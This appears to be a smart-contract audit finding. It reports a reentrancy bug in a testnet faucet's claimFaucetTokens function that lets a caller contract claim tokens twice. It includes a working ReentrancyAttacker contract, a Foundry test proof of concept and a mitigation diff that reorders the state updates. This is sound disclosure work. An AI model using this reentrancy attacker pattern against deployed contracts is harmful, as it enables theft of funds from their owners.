Root + Impact
Description
The RaiseBoxFaucet::claimFaucetTokens function sends all first-time users sepEthAmountToDrip amount of sepolia ETH with faucetDrip claim. This allows a first-time user contract to claim twice faucetDrip amount of RB tokens alongside sepolia ETH claim.
function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
...
}
Risk
Likelihood:
-
It is highly probable that contracts will request these faucets, exploiting this vulnerability to obtain more faucet tokens, especially due to the three-day cooldown.
-
Since there is no specific condition, the simplest reentrancy contract exploiter could be used to claim double tokens, bypassing the limitation before hitting the cooldown period.
Impact:
Proof of Concept
Add the following code snippet to the RaiseBoxFaucet.t.sol test file.
ReentrancyAttacker contract:
contract ReentrancyAttacker {
RaiseBoxFaucet victim;
uint256 public counter = 0;
constructor(RaiseBoxFaucet _victim) {
victim = _victim;
}
function attack() public payable {
victim.claimFaucetTokens();
}
receive() external payable {
console.log("balance of victim: ", address(victim).balance);
if (counter < 2) {
counter++;
victim.claimFaucetTokens();
}
}
}
This code snippet is designed to demonstrate the RaiseBoxFaucet::claimFaucetTokens function being successfully called twice through the reentrancy attack.
function testReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(raiseBoxFaucet);
uint256 lastAttackerClaimTime = raiseBoxFaucet.getUserLastClaimTime(address(attacker));
uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
uint256 dailyClaimCount = raiseBoxFaucet.dailyClaimCount();
uint256 dailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
console.log("Before facuet Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("Before attacker faucet token balance", raiseBoxFaucet.balanceOf(address(attacker)));
console.log("Last time attacker has claimed faucets: ", lastAttackerClaimTime);
console.log("faucetDrip: ", faucetDrip);
console.log("dailyClaimCount: ", dailyClaimCount);
console.log("dailyClaimLimit: ", dailyClaimLimit);
attacker.attack();
bool claimed = raiseBoxFaucet.getHasClaimedEth(address(attacker));
assertEq(claimed, true, "User has not successfully claimed eth");
uint256 afterLastAttackerClaimTime = raiseBoxFaucet.getUserLastClaimTime(address(attacker));
uint256 afterFucetDrip = raiseBoxFaucet.faucetDrip();
uint256 afterDailyClaimCount = raiseBoxFaucet.dailyClaimCount();
uint256 afterDailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
console.log("After facuet Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("After attacker faucet token balance", raiseBoxFaucet.balanceOf(address(attacker)));
console.log("Last time attacker has claimed faucets: ", afterLastAttackerClaimTime);
console.log("faucetDrip: ", afterFucetDrip);
console.log("dailyClaimCount: ", afterDailyClaimCount);
console.log("dailyClaimLimit: ", afterDailyClaimLimit);
console.log("number of attackes", attacker.counter());
}
Recommended Mitigation
Possible mitigation is to move the sepolia ETH claim after faucetDrip claim, to ensure that the lastClaimTime for the user is changed before the sepolia ETH claim.
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
- // drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
- // still checks
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- uint256 currentDay = block.timestamp / 24 hours;
-
- if (currentDay > lastDripDay) {
- lastDripDay = currentDay;
- dailyDrips = 0;
- // dailyClaimCount = 0;
- }
-
- if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- } else {
- emit SepEthDripSkipped(
- faucetClaimer,
- address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
- );
- }
- } else {
- dailyDrips = 0;
- }
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
+ // drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
+ // still checks
+ if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ uint256 currentDay = block.timestamp / 24 hours;
+
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ // dailyClaimCount = 0;
+ }
+
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ hasClaimedEth[faucetClaimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
+ } else {
+ dailyDrips = 0;
+ }
}